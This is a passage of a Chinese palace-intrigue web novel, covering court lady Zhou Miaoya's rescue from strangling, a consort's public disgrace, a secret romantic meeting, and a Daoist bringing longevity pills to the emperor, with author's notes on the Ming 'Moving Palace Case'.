她想挣扎,可两个太监的力气太大,她动弹不得。 嘴被死死地捂着,只能发出呜呜的闷响,她睁大眼睛,看着夹道尽头那一点微光。 麻绳骤然收紧… 起初,她还能呼吸,只是觉得脖子被硌得难受,后来那绳子越收越紧,像一条毒蛇死死缠住了她的喉咙。 空气开始稀薄。 她眼前发黑,耳畔嗡嗡作响,喉咙里火辣辣地疼,想咳嗽,却咳不出来。 麻绳再次收紧… 窒息感如潮水般涌来,她用尽全力挣扎,脚蹬在宫墙上,绣鞋掉了也顾不上,可喉咙被那两个太监死死钳住,任凭她怎么动也无济于事。 二郎…她还在等他的承诺,等他八抬大轿,凤冠霞帔,风风光光的娶她… 周家三百余口人,还等着她平反… 她还不能死… 就在这千钧一发之际,夹道尽头忽然传来急促的脚步声。 “住手!” 是寿阳公主的声音,裹挟着前所未有的怒气。 那两个太监听到声音,动作一僵,捂着周妙雅嘴的手力道稍微松了些,她立刻偏头,大口大口地喘气,冰冷的空气瞬间涌入肺中,呛得她剧烈咳嗽了起来。 寿阳公主疾步而来,身后紧跟着两个宫女。 此刻她的脸色,比任何时候都要冷。 “你们在做什么?”公主冷冽的目光扫过那两个太监,落在周妙雅脖子上那圈勒痕上。 痕迹已经发红,在白皙的皮肤上格外刺眼。 为首的太监这才松开手,麻绳掉在地上,他躬身行礼,声音却不见慌乱:“公主,周司掌偷盗西苑财物,人赃俱获,奴才正要按规矩处置。” “人赃俱获?” 寿阳公主走到散落的竹篮旁,弯腰捡起了那支金镶玉簪。 她拿在手里仔细看了看,然后抬眼看向那太监:“这簪子,是本公主赏给周司掌的。” 那为首的太监霎时便愣住了。 “怎么,本公主赏人东西,还要经过你同意?” 寿阳公主声音冷了下来:“还是说,你觉得本公主在撒谎?” “奴才不敢…”那为首的太监瞬间便跪了下去,忙为自己辩解道。 “不敢?” 寿阳公主将那支簪子举到太监面前,厉声道:“这簪子,是去年本公主生辰时,皇兄亲赐的,内造的款式,宫外绝没有第二支。要不要本公主现在就去乾清宫,请皇兄当面与你对峙?” 那太监额头已冒出细密的汗珠,声音发颤,连忙磕头道:“奴才眼瞎心盲,冒犯公主,万死莫赎!” 寿阳公主不再理会跪地颤抖的太监,转身走到周妙雅身边,抬手轻轻碰了碰她脖子上的勒痕,指尖有些发抖。 “老师,疼吗?”她低声问道。 周妙雅轻轻摇了摇头,她想开口,可喉咙疼得发不出声来。 寿阳公主深吸一口气,再回身时,脸上已没有了方才那一丝温情。 她目光凶狠地盯向那两个太监,厉声道:“滚。” “公主…” “本公主叫你们滚!” 寿阳公主声音陡然拔高:“若是再让本公主看见你们在西苑撒野,本公主亲手扒了你们的皮!” 那两个太监面如土色,再不敢多言,连滚爬爬地跑了。 夹道里只剩下周妙雅和寿阳公主,公主弯腰,将散落在地上的书本拾起,用手轻轻拂去书页上的灰尘,才递给周妙雅。 做完这些后,她垂着眼,低声道:“老师,对不起。” 周妙雅接过书,摇了摇头,她想说与公主无关,可喉咙还是疼,只能作罢。 寿阳公主看着她,眼中翻涌着愧疚与愤怒。 只见她忽然转身,对身后的宫女道:“备灯,送周司掌回司籍司。” “公主…” 周妙雅强忍着喉咙嘶哑,艰难地发出声音:“您要去哪里?” 寿阳公主没有回头,只留下两个字:“算账。” 她径直朝太妃宫的方向走去,步子迈得很快,裙摆扫过地面。 周妙雅想跟上去,却被宫女轻轻拦住:“周司掌,公主让奴婢送您回去。” 她望着公主离去的背影,心中一时间五味杂陈… 太妃宫内,李太妃正在用晚膳。 寿阳公主径直闯入,连通报都未等,直直走到膳桌前,望着自己的母亲,胸口剧烈地起伏着。 “母妃。” 她开口,声音因刚才的激动而微微发颤:“安和郡主今日让人在西苑陷害我的老师,差点就要了她的命。” 李太妃放下银箸,拿起帕子轻轻擦拭嘴角,动作优雅从容:“哦?是吗?许是一场误会。” “不是误会!” 寿阳公主直视着母亲的眼睛:“那太监是西苑掌事的,没有母妃点头,他断然不敢动手。” 李太妃微微一笑,那笑容温婉,却让人心底发凉:“寿阳,为了一个区区八品女官,你竟跑来质问母妃?” “她不是普通女官!” 寿阳公主声音高了几分,带着压抑不住的怒气:“她是我的老师!是宫里唯一能教我正宗的苏州话,给我讲吴门画派的人!我找了那么久才找到这样一个老师,母妃为什么就不能尊重我的喜好?” 说着说着,她眼圈渐渐红了,不是因为委屈,而是因为愤怒,是那种被至亲之人背弃的痛楚。 “安和郡主是什么人?她父王嚣张跋扈,和魏公公走得极近,她自己也不是什么善类,母妃和她来往,我不说什么,可为何连我的老师都要动?” 寿阳公主的声音开始发颤:“母妃,这是西苑,是你的地方,也是我的地方,在这里,我说了算!” 李太妃脸上的笑容逐渐淡了下去,她看着女儿,看了良久。 “寿阳…” 她终于开口,声音很轻:“你长大了。” “我是长大了。” 寿阳公主倔强地抬着下巴,眼泪在眼眶里打转:“所以请母妃,远离安和郡主,尊重我的 老师。” 说完,她转身便走。 走到门口时,她停住脚步,没有回头,只撂下最后一句话:“若再有下次,我便亲自去求皇兄,谁敢再动本公主的人,本公主便让皇兄下旨摘了他的脑袋!”—— 作者有话说:来啦来啦!!移宫案它来啦!!! “移宫案”是明末三大案(梃击、红丸、移宫)的最后一桩,发生在泰昌元年九月初,实质是“谁握住皇长子谁就握政权”的宫廷抢人战。 万历四十八年七月,万历帝崩;八月初一,泰昌帝朱常洛即位,移住乾清宫,并把自己宠爱的西李(李选侍)也带进乾清。 李选侍既无皇后名分,又非太子生母,却仗着皇帝宠爱,要求“封皇后”。 九月初一,泰昌帝因“红丸案”暴毙,李选侍立刻把年仅 16 岁的皇长子朱由校(天启帝)扣在乾清,意图“垂帘养子—同居一宫—控制朝政”。 东林党人左光斗、杨涟上疏:“乾清惟帝后得居,选侍何人,敢以宫人踞之?”要求“即日移宫”。李选侍仍赖着不走,并传出“欲缓数日,待封皇太后然后行”的风声。 杨涟再率科道官 60 余人集慈庆宫外,逼内阁发牌;王安亦在内催促。李选侍无援,只得抱着金宝,哭哭啼啼由太监扶至哕鸾宫(仁寿殿区)暂住,朱由校同日回居乾清,事件落幕。 第97章 次日清晨, 天光初透。 周妙雅披衣起身,坐到铜镜前,指尖才触到脖颈, 便是一阵刺骨的疼痛。 她侧过身子, 对着昏暗的铜镜仔细查看伤口, 那道勒痕似乎比昨夜更明显了,深红色的淤痕在白皙的脖颈上围成一圈,格外刺眼。 她轻轻碰了碰,镜中人影随之轻颤,疼得她倒吸一口凉气。 她想了想,便起身去箱笼里翻找,找了半天, 翻出一条素色的丝巾。 丝巾料子轻薄,绣着浅浅的兰草纹样, 她将它绕在颈间, 对着镜子比了比。 能遮住大半,但细看还是能看出些端倪。 她捏着丝巾两端,正想着要不要再缠一圈, 却忽然听门外脚步声传来。 “周司掌,可起身了?” 声音压得很低, 却带着少女特有的清亮,是寿阳公主身边的宫女阿璃, 就是昨夜送她回来的那个。 周妙雅忙把门开了一条缝,却见阿璃眉眼弯弯地立在阶前, 再往后一瞥,寿阳公主披着银灰色的狐裘大氅,兜帽未褪, 正抬眼朝她望过来。 “公主殿下?” 周妙雅有些意外,连忙俯身行礼。 “老师不必多礼。” 寿阳公主走进屋,目光落在周妙雅颈间的丝巾上,停了一瞬:“老师今日不必去当值了。” 周妙雅抬起头:“可是…” “本公主已经向崔尚宫告了假。” 寿阳公主截断她,说得干脆:“崔尚宫准了,说让你好生歇息两日。” 周妙雅愣了愣,崔尚宫竟这般好说话? 寿阳公主似看出了她的疑惑,唇角一抿,含笑道:“本公主说了,老师是为了本公主才受的伤,若是带伤当值,传出去别人该说本公主不知体恤了。” 她说的倒是有理有据,如此这般,周妙雅也不好再推辞。 须臾,寿阳公主从身后的宫女手中接过一个剔红的锦盒,递到周妙雅面前,说道:“这个,是给老师的。” 那锦盒不过巴掌大小,通体髹朱红重漆,雕刻着精巧的缠枝莲纹,巧夺天工。 “打开看看。”寿阳公主眼睛弯弯的,眼底的雀跃根本藏不住。 周妙雅依言打开锦盒。 只见锦盒中间放着一个小罐子,罐身是白玉的,通体莹白,没有任何纹饰。 “这是…”周妙雅抬头看向公主。 寿阳公主笑得狡黠:“药膏,某人送的。” 某人? 周妙雅心头骤然一跳。 她低下头,伸手去拿那个白玉小罐,怎料刚把它从锦盒中取出来,竟发现罐底下还压着一张纸条。 她拿起那张纸条,好奇展开。 纸条上的字迹,她再熟悉不过了。 刚劲中带着洒脱,起笔收锋都是那人特有的气韵。 纸条上只短短两行字: 两情若是久长时, 又岂在朝朝暮暮。 周妙雅盯着那两行字,整个人霎时僵在原地。 那是她离开宁王府那日,偷偷压在《瀚海楼书画录》下的那张素笺上写下的字… 她放的那样隐秘,原以为他不会发现的… 至少…不会这么快。 然而此刻,这张纸条,分明就证明他看到了,他看到了她藏于字里行间的依依不舍。 周妙雅的脸腾地一下便红了。 那红从脸颊一直蔓延到耳根,又燎至脖颈,连带着脖子上的伤痕都开始发烫。 她想把纸条藏起来,可手指却不听使唤,只是死死攥着那张纸条,指节都捏得发了僵。 寿阳公主见她这般羞窘模样,眼睛弯得愈发厉害了,她故意往前凑了凑,歪着头,语气里满是调侃:“呦呦呦……” 她故意拉长语调,仿若发现了什么惊天大秘密般:“我说宁王兄为何今早天不亮,就派人来到西苑,点名要本公主把这锦盒交给你,我道这纸条上写了什么惊天动地的话?竟能让我的老师脸红成这样?” 周妙雅被她这么一逗,脸颊愈发滚烫,她下意识地将纸条藏到身后,嘴唇紧紧抿成一条线。 “快让本公主瞧瞧!”寿阳公主却不肯罢休,伸手便要来抢。 周妙雅急忙后退一步,将纸条死死藏在身后,声音都变了调:“没…没写什么。” 她深吸一口气,努力板起脸,试图摆出老师的威严:“小孩子家,不要瞎看瞎打听。” 可这话说的,连她自己都心虚得很。 寿阳公主哪里肯轻易罢休?她跺了跺脚,伸手便要去够周妙雅藏在背后的手:“让本公主看看嘛!就一眼!就一眼!” 周妙雅急忙转身躲开,将纸条攥得更紧,她背对着公主,心跳得厉害。 半晌,她声音才软了下来,带着几分恳求:“公主,真的没什么。” “我不信!” 寿阳公主绕到她面前,眼睛亮晶晶地盯着她看:“要是没什么,老师为何藏得这么紧?脸又为何红成这样?” 周妙雅被她问得语塞,她张了张嘴,却找不到反驳的话,只能别过脸去,避开公主探究的目光。 寿阳公主见她这般,反而愈发来劲,她双手叉着腰,摆出一副不达目的誓不罢休的架势:“老师今天要是不给我看,我就不走了。” 她虽说得认真,可眼底却藏着狡黠的光,那模样哪里像个公主,分明是个耍赖的孩子。 周妙雅看着她,忽觉有些无奈,又觉有些好笑。 她叹了口气,声音低下来,恳求道:“公主…有些东西…是不能给别人看的。” 寿阳公主愣了愣,脸上的玩笑神色淡了几分。 屋内一时间安静了下来。 晨光透过窗纸,洒在地上,投出斑驳的光影。 沉默良久,寿阳公主才开口,语气轻松了许多:“好吧,不看就不看。” 她耸耸肩,又补充道:“反正…我也猜得到是什么。” 而后,她看了看周妙雅低垂的眉眼,忽然轻轻叹了口气道:“老师,好好涂药。” 她指了指那白玉罐子,“三日之内,淤痕必消,这可是宁王兄特意嘱咐的。” 说完,她便伸手轻轻扶住周妙雅的肩膀,语气柔和道:“这两日,老师就好好歇着,西苑那边…有我在。” 周妙雅抬眸,眼底微潮,朝年少的公主深深一揖:“下官…谢公主深恩。” ———— 安和郡主回府时,天色已沉。 她一进正厅,就把斗篷狠狠摔在了椅子上,脸色铁青。 丫鬟们见状,都低着头退了出去,无一人敢出声。 郡马爷文毓瑜正倚窗翻着话本,闻声抬眼,挑眉问道:“这是怎么了?谁又惹我们郡主生气了?” “还能有谁!” 安和郡主几步跨到他跟前,声音尖利:“寿阳公主!她今日为了那个周妙雅,竟当着太妃的面给我难堪!” 文毓瑜轻笑了一声,伸手把她拉到身边坐下:“我还当是什么大事,周妙雅?一个只知道攀附权贵的贱妇罢了。” 安和郡主抬眸看他,眼中仍带着怒意。 文毓瑜指尖轻轻摩挲着她的肩,语气带着惯有的轻蔑:“她先攀着我大哥,又搭上宁王,如今连寿阳公主都巴结上了,这种女人,你与她置什么气?” 他顿了顿,俯身贴耳道:“爬得越高,跌得越重,你且瞧着,她早晚有从云端跌下来的那天。” 安和郡主抿着嘴,脸上的怒气稍稍消了些,但仍是不服气。 她靠进文毓瑜怀里,手指揪着他的衣襟:“我就是看不惯她那副装清高的样子…还有寿阳公主,胳膊肘往外拐!” “好了好了。” 文毓瑜轻轻拍着她的背,像哄孩子似的:“为这种人气着自己,不值当。” 安和郡主在他怀里扭了扭,声音软了下来:“那你答应我,帮我出气…” 话音未落,外头忽然传来急促的脚步声。 门房老张躬身站在厅外,声音有些发颤:“禀郡主,郡马…门外…门外有人求见。” 文毓瑜眉头一皱:“什么人?这么晚了。” 老张咽了口唾沫,小心翼翼道:“是个…是个大着肚子的女人,说…说要见郡马爷。” 话音落地,厅内霎时死寂。 安和郡主猛地从文毓瑜怀里坐直身子,目光如刃,转头盯向他。 文毓瑜脸上的笑容霎时僵了一瞬,随即立刻恢复平静,皱眉道:“什么乱七八糟的?小爷我不认识。” “不认识?” 安和郡主冷笑了一声,目光咄咄逼人:“深更半夜挺着肚子堵到郡主府门口,指名道姓要见你,文毓瑜,你当本郡主是傻子?” “许是认错人了。” 文毓瑜站起身,语气有些不耐烦:“我出去看看,把人打发了便是。” 话音未落,他拂袖便往外走去,步子比平时更急了几分。 “我也去。”安和郡主冷着脸紧随其后。 两人走到府门口时,门外已经围了些看热闹的街坊邻居。 昏黄的灯笼下,一个女子站在阶前,正低声啜泣。 那女子不过十七八岁的样子,穿着一身水绿色衣裙,肚子已经显怀,看起来有五六个月的样子了。 她生得细眉细眼,皮肤白皙,最惹眼的是那双眼睛,眼尾微微上挑,清冷中带着媚态。 安和郡主只看了一眼,整个人就僵住了。 那眉眼…那神态… 像极了周妙雅… “郡马爷…” 那女子抬眸望见文毓瑜,眼泪簌簌往下掉,嗓音娇软带怯:“你…你当真不要妾身和孩子了么?” 文毓瑜脸色骤变,厉声喝止:“胡说什么!小爷我根本就不认识你!” “郡马好狠的心…” 那女子哭得更凶了,指尖轻轻抚着隆起的肚子:“在扬州时,你明明说会接妾进京,给妾名分…如今妾千里迢迢找寻,你却翻脸不认人…” 围观的人群开始窃窃私语。 安和郡主死死盯着那女子,又转头看向文毓瑜。 文毓瑜额角冒出冷汗,却强作镇定道:“郡主莫要听她胡言,这分明是有人蓄意陷害…” “陷害?” 安和郡主声音冷如冰刃:“父王年初确遣你赴扬州采办,若非旧识,她一个外乡妇人,怎知你就是郡马?又怎知夜叩郡主府?” 文毓瑜一时语塞。 那女子又往前走了两步,跪了下来:“郡主明鉴…民女不敢撒谎,郡马在扬州时,常来听妾唱曲,后来…后来…酒后…便留了宿。” 安和郡主看着那张与周妙雅有七分肖似的脸,胸口的郁气猛地堵成了一团。 方才文毓瑜还大言不惭地说着,周妙雅就是个只知道攀附权贵的贱妇。 如今,他却在外头养了个仿版,还将人家肚子弄大。 这算哪门子讽刺? “文毓瑜。” 安和郡主的声音在发抖:“你给我解释清楚。” “我…”文毓瑜张了张嘴,却半个字也吐不出来… 恰在此时,人群外又是一阵推搡。 一个身穿月白直裰的少年挤了进来,那少年约莫十六七岁,生得唇红齿白,眉眼秀气,乍一看像个女孩子。 他抬眼望见文毓瑜,眼眶瞬间飞红,水雾盈满了眼睫。 “文郎…” 少年哽咽,泪珠滚落:“你曾说只爱我一人,可为何娶了郡主,便忘了旧情?” 这话一出,整条街道霎时鸦雀无声。 街坊邻居齐刷刷瞪大了眼睛,看着那大肚子的女子,又看向那秀气的少年,最后齐齐看向文毓瑜。 文毓瑜的脸色彻底黑了,嘴唇哆嗦着,竟一个字都说不出来。 少年泪如雨下,字字哽咽:“在苏州时,你日日陪我读书写字,说最喜欢我研墨的样子…那些诗,那些信,你都忘了么?” 人群中嗡地炸开了锅。 “我的天…男女通吃啊?” “娶了郡主还不安分…” “啧啧,真是人不可貌相啊…” 安和郡主站在石阶上,耳畔尽是嗤笑,她看着眼前这一女一男,又看看身边脸色发黑的文毓瑜,自小金枝玉叶,锦衣玉食的她哪受得了这般羞辱? 她猛地觉得眼前一黑,用力张了张嘴,想喊些什么,却连一个字也吐不出来… 紧接着,她只觉身体轻飘飘的,而后,整个人便软软地倒了下去。 “郡主!”丫鬟的惊叫声破空响起。 郡主府门口瞬间乱成一团,人声鼎沸,灯火摇曳。 黑暗中,长安与阿璃隔空对视一眼,默契地交换了一个眼色,随即微微点头,迅速隐入如墨的夜色中—— 作者有话说:文二郎 安和郡主 罪有应得 第98章 因今日是泰和帝朱弘睿的生辰, 皇帝在太和殿设万寿圣宴,宴请王公大臣与外藩使节。 光禄寺自清晨便忙得不可开交,备酒, 备菜, 备歌舞, 一片热闹祥和。 朱弘毅身着一袭大红织金蟒袍,锦衣玉带,亲赴宫中为皇兄庆贺万寿圣节。 酒过三巡,泰和帝已被魏琰与康敏之围在中央,谈笑风生。 朱弘毅看着无趣,便借着出去消食,吹吹风的由头, 独自往宫城的西北角走去。 那里有一座废弃的藏书楼,三层木结构, 因宫中近年重修文渊阁, 原本藏于此楼的书籍尽数被迁走,这座楼便渐渐荒废了。 楼门虚掩,原本守在此处的太监因楼荒废, 早就寻了别的肥差,如今这里空无一人。 朱弘毅推门而入, 楼内一片黑暗,唯有二楼透出一缕微弱的灯光。 他知道, 那是他朝思暮想的人在等他。 “妙雅。”他轻声唤道。 二楼传来细微的响动,朱弘毅循声拾级而上, 木质楼梯在他脚下发出轻微的吱呀声响。 周妙雅手中提着一盏昏黄的明角灯,孤影立在二楼窗边。 月光从窗格漏进来,洒在她身上, 仿若画中的月宫仙子。 她今日穿了一件素缎的立领斜襟长衫,头发简单挽起,颈间系着那条素色的丝巾。 听见脚步声,她缓缓转过身来。 朱弘毅快步上前,二人四目相对,不约而同地执起对方的手。 月光如水倾泻,他垂眸细细打量她,丝巾系得巧妙,将伤痕遮得严严实实的,却仍透出一丝淡淡的红痕。 “还疼么?”他低声问她,言语中尽是温柔。 周妙雅垂下眼,避开了他的目光:“不…不疼了。” “说实话。” 周妙雅轻咬住下唇,细声道:“一点点…不碍事的。” 朱弘毅没说话,只是伸出手,指尖极轻地碰了碰丝巾的边缘,动作轻得几乎感觉不到,可周妙雅还是疼得浑身直打颤。 身体下意识的反应骗不了人,朱弘毅愤恨道:“他们怎么敢的?” “都过去了。” 周妙雅抬起头,握住他的手,声音轻而坚定:“公主都同我说了,说你揪出了文毓瑜见不得光的那些事,教训了安和郡主,安和郡主气得晕倒在了府门口。” 朱弘毅双手捧着她的脸,只是静静地看着她,看了许久。 月光下,她眉眼清晰,眼底盈着细碎的光,格外楚楚动人。 良久,他忽然伸手,将她轻轻揽入了怀中。 周妙雅的身子微微僵了一瞬,旋即缓缓放松,她将脸靠在他胸口,听见那沉稳有力的心跳声。 她静静地倚在他怀里,贪恋着这片刻的温存,仿佛世间喧嚣都已远退,只剩他们二人与月色相伴。 两人就这么紧紧地抱在一起,良久,周妙雅将下巴轻轻抵在他胸口,抬起一双水光潋滟的眸子,软软地望着他,声音闷闷的:“这些日子,我总想起在西山的时候。” “嗯。”朱弘毅低低应了一声,手指轻轻抚过她的发丝。 “想起你从恶狼口中将我救下,想起你连夜陪我整理那些无趣的典籍,想起…” 她顿了顿,声音更轻了:“想起你说过…要娶我。” 朱弘毅俯首,声音温柔:“我当日说的每一个字,都作数。” 周妙雅抬眸,眼圈微红:“我知道,可我还是…会怕。” “怕等不到那一天,怕横生变故,怕…”她咬住唇,没有再说下去。 朱弘毅明白她在怕什么。 怕宫廷倾轧,怕权势博弈,怕那些无形之手,将他们还未走到的未来生生掐断。 “妙雅。” 他低唤着她的名字:“看着我。” 周妙雅颤颤抬眸。 月光下,他的目光坚如磐石:“我说过,我会等你,等你为周家军平反,等你凤冠霞帔,堂堂正正地站到我身边,此誓,到死都作数。” 周妙雅抬手,微凉的指尖轻轻抵在他唇上:“别说那个字,不吉利。” 说着,她眼眶已泛起微红,晶莹的泪珠凝在纤长的睫毛上。 朱弘毅俯身,轻轻吻上了她颤动的睫尖,将那滴将坠未坠的晶莹悄悄吮走。 随即,他牵起她的手,低声道:“走,我带你去看样东西。” “什么呀?” “跟我来。” 朱弘毅牵着她,往三楼走去,楼梯窄得只容一人,他走在前,每一步都踩得极稳。 周妙雅跟在他身后,手被他紧紧地握着,心里那些不安逐渐散了去,只剩掌心相贴的温度。 三楼比二楼更暗。 朱弘毅松开她的手,摸到窗边,抬手打开了窗栓。 寒风猛地灌了进来,裹挟着冬夜的凛冽,周妙雅打了个冷战,脚尖不由得往后退了半步。 朱弘毅随即解下自己身上的狐裘大氅,轻轻裹在了她的肩上。 “冷么?”朱弘毅回头问她。 周妙雅轻轻摇了摇头,缓步走到窗边,却在下一瞬彻底怔住。 整片夜空毫无遮挡地铺展开来,墨蓝色的天幕澄澈如洗,繁星密布,亮得晃眼。 她从未见过如此浩瀚的星河,一时屏息,只余惊叹。 朱弘毅立在她身侧,夜风拂过,他声音低沉:“小时候,我常偷偷跑到这儿来看星星,那时候觉得,宫城再大,也大不过这片天。” 周妙雅侧过头看着他,月光勾勒出他线条分明的侧脸,一如她在宁王府初见他时的模样。 雪后初霁,他立于廊下,眉目清俊,仿若从天而降。 “后来呢?”她睁着水汪汪的大眼睛,仰头问他。 “后来…” 朱弘毅微微顿了顿:“后来便来得少了。” 他没说缘由,但她已然懂了。 长大后,知晓的事多了,肩上的担子也更重了,再看星星时,心境已然不同。 想到这里,她忽然伸手,握住了他的手。 朱弘毅回握住她,手指穿过她的指缝,十指相扣。 就在这时,一道亮光划过天际。 周妙雅睁大眼睛:“流星!” 那道光拖着长长的尾巴,在夜空中划过一道优美的弧线,转瞬即逝。 “快许愿。”朱弘毅贴在她耳侧低声说道。 周妙雅闭上眼,双手合十,只一瞬,她便睁开眼,却见朱弘毅正静静地看着自己。 “许了什么愿?”他问。 “不能说。” 周妙雅抿着唇笑道:“说了就不灵了。” 朱弘毅也不追问,只陪她站着,两人肩并肩望着星空,谁也没再说话。 良久,周妙雅扯了扯他的袖口,轻声说:“二郎,你离席太久,该回宴上了。” 朱弘毅低应了一声,伸手将窗轻轻阖起。 两人一前一后下楼,走到二楼时,周妙雅忽然收住脚步。 “二郎。”她低声唤他。 朱弘毅回身。 周妙雅踮起脚尖,飞快地在他脸颊上亲了一下,很轻,像羽毛拂过一般,亲完转身就想跑。 可下一瞬,手腕已被他握住,将她整个人圈回了温暖的怀中,她没能跑掉。 周妙雅还没反应过来,他的唇已经覆了下来。 不似她那样蜻蜓点水般,而是深吻。 滚烫,急切,带着压抑许久的渴望。 周妙雅的脑海中霎时一片空白,指尖抵在他胸前,却使不出半分力气。 他的手臂紧紧环在她腰间,将她牢牢锁在怀里。 呼吸交缠,他步步深入,像潮汛突至,瞬间将她淹没。 她的身体渐渐软了下来,手不知不觉间已攀上了他的肩。 黑暗中,只余彼此急促的喘息,与唇齿间细碎而暧昧的水声。 不知过了多久,朱弘毅才松开她。 “你…欺负人。”周妙雅开口,声音发颤。 “谁先撩拨的?”他声音微哑,指腹摩挲着她微肿的唇角:“下次想亲我,别亲脸。” ———— 朱弘毅悄然回席时,太和殿内已酒过三巡,笙歌正沸。 他悄无声息地坐回席位,端起案上半凉的酒盏,正要饮下,却见殿门处传来一阵骚动。 只见数名内侍引着一个人入殿,那人身着一身青布道士服,莲花冠高束,手执白玉拂尘,步履生风,颇有几分仙风道骨。 殿中笙箫暂歇,众人目光齐齐落向那道士。 阉党魁首,户部尚书王孟献离席而起,朝御座拱手道:“陛下,此乃终南山虚云子道长,道长精通道家丹术,尤擅炼制延年益寿之丹,臣听闻陛下近日偶感疲乏,特请道长进宫,为陛下献丹。” 泰和帝原本懒懒地靠在龙椅上,听到延年益寿四个字,霎时坐直了身子,目光灼灼落在了那道士身上。 虚云子走到殿中,不跪不拜,只行了个道家稽首礼:“贫道虚云子,拜见陛下。” 声音清朗,带着一种奇特的韵律。 “道长平身。” 泰和帝抬手,饶有兴致地问:“听闻道长能炼长生不老丹?” 虚云子微微一笑:“陛下,世间并无长生不老丹,贫道所炼,乃延年益寿,固本培元之药,常人服用,可强身健体,若陛下服用,则龙体康泰,精力充沛。” 泰和帝果然来了兴致:微微倾身道:“哦?道长可有带来?” 虚云子从袖中取出一只锦盒,双手奉上,内侍接过,呈到御前。 打开锦盒,里面是三枚朱红色的丹药,圆润光泽,隐隐有异香飘出。 “此乃九转养元丹。” 虚云子解释道:“以九种珍稀药材,经九次反复炼制而成,常人每七日服一丸,可精神焕发,祛病延年。” 泰和帝拿起一枚,凑到鼻尖闻了闻,瞬间只觉浊气一空,龙心大悦,此丸异香扑鼻,确非凡品。 魏琰审时度势,趋步近前,俯首奏曰:“陛下既有此仙缘,何不留道长于禁中,专设丹房?日后若炼得臻品,可保陛下龙体无忧,实乃社稷之 福,江山之幸啊!” 泰和帝沉吟片刻,看向虚云子:“道长可愿留在宫中?” 虚云子又行一礼:“能为陛下效力,乃贫道之幸,只是…” “只是什么?道长但言无妨。” “炼丹需清静之地,不可有俗务打扰,且所需药材珍稀,需内府全力配合。” 泰和帝朗声大笑:“这有何难?朕赐你西苑丹房一处,所需药材,内府库房随你取用,每月俸禄按三品官员发放,道长可安心在此炼制仙丹。” 虚云子躬身:“谢陛下恩典。” 殿内霎时响起一片恭贺之声。 大臣们纷纷起身,说陛下得此高人,必能龙体康健,万寿无疆。 朱弘毅坐在席间,半盏残酒在指尖轻晃,冷眼旁观这一场闹剧,唇角勾起一抹讥诮的弧度。 虚云子被赐座御阶下首,与魏琰,康敏之同席。 几人谈笑风生,虚云子俨然已是一副朝廷新贵的做派。 朱弘毅放下手中酒盏。 长生?延年? 史书上那些追求长生的帝王,各个都没有好下场。 秦始皇遣徐福东渡,汉武帝建承露盘,唐太宗服丹暴毙…一个个前车之鉴,历历在目。 再看席上,魏琰正举杯向虚云子敬酒,笑容满面,康敏之则侧首与身旁官员低语,神色从容。 这道士进宫炼丹,居心叵测,魏琰与康敏之这两只老狐狸,不知道又在打什么主意。 想到这里,他端起酒盏,遥遥向虚云子举杯。 虚云子微微一笑,回以一礼,笑容温和,眼底却深邃如渊。 看来这皇城内,又有一出大戏,即将开演。 第99章 周妙雅回到六尚局衙舍后的女官居所时, 夜已很深了。 她刚踏入院门,却见院中热闹得反常。 都这时辰了… 院内的石桌旁竟围坐了七八个女官,正叽叽喳喳地在说着什么, 声音在寂静的冬夜里格外清晰。 “真的!我亲眼瞧见的!” 一个梳着双丫髻的小女官脆声开口:“就方才, 我在太和殿伺候的那会儿!” 周妙雅放慢脚步, 站在了廊下的阴影中,屏息侧耳,好奇地听着。 “快说说,那道士是什么模样?”有人急声追问道。 那小女官眼睛亮晶晶的,言语中尽是兴奋,脸颊飞红:“可年轻了,瞧着也就二十五六岁的模样, 穿着一身青布道衣,莲花冠高高束着, 手中握着一柄白玉拂尘, 走路带风,仙风道骨的。” “还有呢?还有呢?”众人催促道。 只见那小女官压低声音,却掩饰不住内心的雀跃:“那张脸也生得极好, 模样可俊了,眉若远山, 眼似寒星,身姿挺拔, 站在大殿中,像一棵青松。” “切, 才不信呢,那道士生得再好,还能俊得过宁王殿下?”一旁的女官撇嘴不屑道。 “那…那自然是不及殿下。” 那御前侍奉的小女官声音有些急:“可气质迥然不同, 就是…就是看着不太像寻常道人。” “怎么说?”旁边的女官好奇问道。 那小女官睁着水灵灵的大眼睛,急急道:“就是…不一样嘛,寻常道人都清癯飘逸的,他倒像是个武人出身,腰杆笔直,步履带风,一开口说话中气十足的。” “那陛下呢?陛下待他如何?”身旁的女官忙追问。 “陛下可高兴了!” 那小女官的声音又扬了起来:“那道长献了三枚丹药,叫什么…九转养元丹的,陛下闻了闻,龙心大悦,当场就赐了西苑丹房一处,让道长留在宫里炼丹呢!” “这道士来头不小吧?”好事者再探口风。 小女官压低嗓子,却掩不住得意:“户部尚书王孟献王大人亲自荐的,能是寻常人?” 旁边一位女官突然凑了过来,压着声音道:“听闻陛下好男风,如今看来竟是真的…往昔月夜,陛下常拉内侍躲进乾清宫侧的老虎洞捉迷藏,眼下对这俊俏道士如此青眼,倒也算不得稀奇了。” 当即有女官冷声回护皇后娘娘:“嘴上留神!陛下与皇后娘娘琴瑟和鸣,岂容你信口污蔑?若叫内廷听见,仔细拔了你的舌头!” 那女官却不以为然:“大晟朝好男风又不是一日两日了,闽地那边,契兄弟争风吃醋闹上公堂的都有。安和郡主府的笑话你没听说?郡马爷男女通吃,扬州瘦马挺着肚子找上门来,苏州来的小郎君又哭又闹,郡主当场气晕。世风如此,士大夫家中左美姬右娈童的,不要太多。” 身旁女官立时沉声喝止:“纵是外头风大,也轮不到你在这宫里撒野!之前黄女史因嚼了两句舌根便被杖责三十,逐出宫门,那血淋淋的榜样,你还没看够?” 众人正争得面红耳赤,忽然听到人群后田贞兰一声厉喝:“行了!都给我住嘴!” 她快步走了过来,目光如炬:“三更半夜,在这儿吵吵嚷嚷,成何体统?明日不当值了?都回去睡觉!” 众女官这才悻悻地收了声,互相递了个眼色,撇着嘴,不情不愿地散了。 周妙雅从廊下走了出来,正往厢房走着,却被田贞兰低声唤住:“周司掌,适才的话,你可都听见了?” 周妙雅轻轻颔首。 田贞兰走到她身边,低声耳语:“你常出入西苑,须得提防那道士,我瞧他来者不善。” 周妙雅抬起头,月光映得她眸色沉静:“多谢田司典提点。” ———— 自虚云子进宫炼丹后,宫中风向陡变。 每隔七日,虚云子便往乾清宫送一次丹药。 那丹药异香扑鼻,据说是用南海珍珠,长白山参,雪域灵芝并九十九味珍稀药材,在丹炉中反复炼制九九八十一日而成。 泰和帝服用此丹后,只觉精神异常亢奋,连批两个时辰奏折都不觉疲累。 渐渐地,他开始贪恋服用仙丹后那种飘然欲仙之感,一日不服,便觉百爪挠心,万念俱灰。 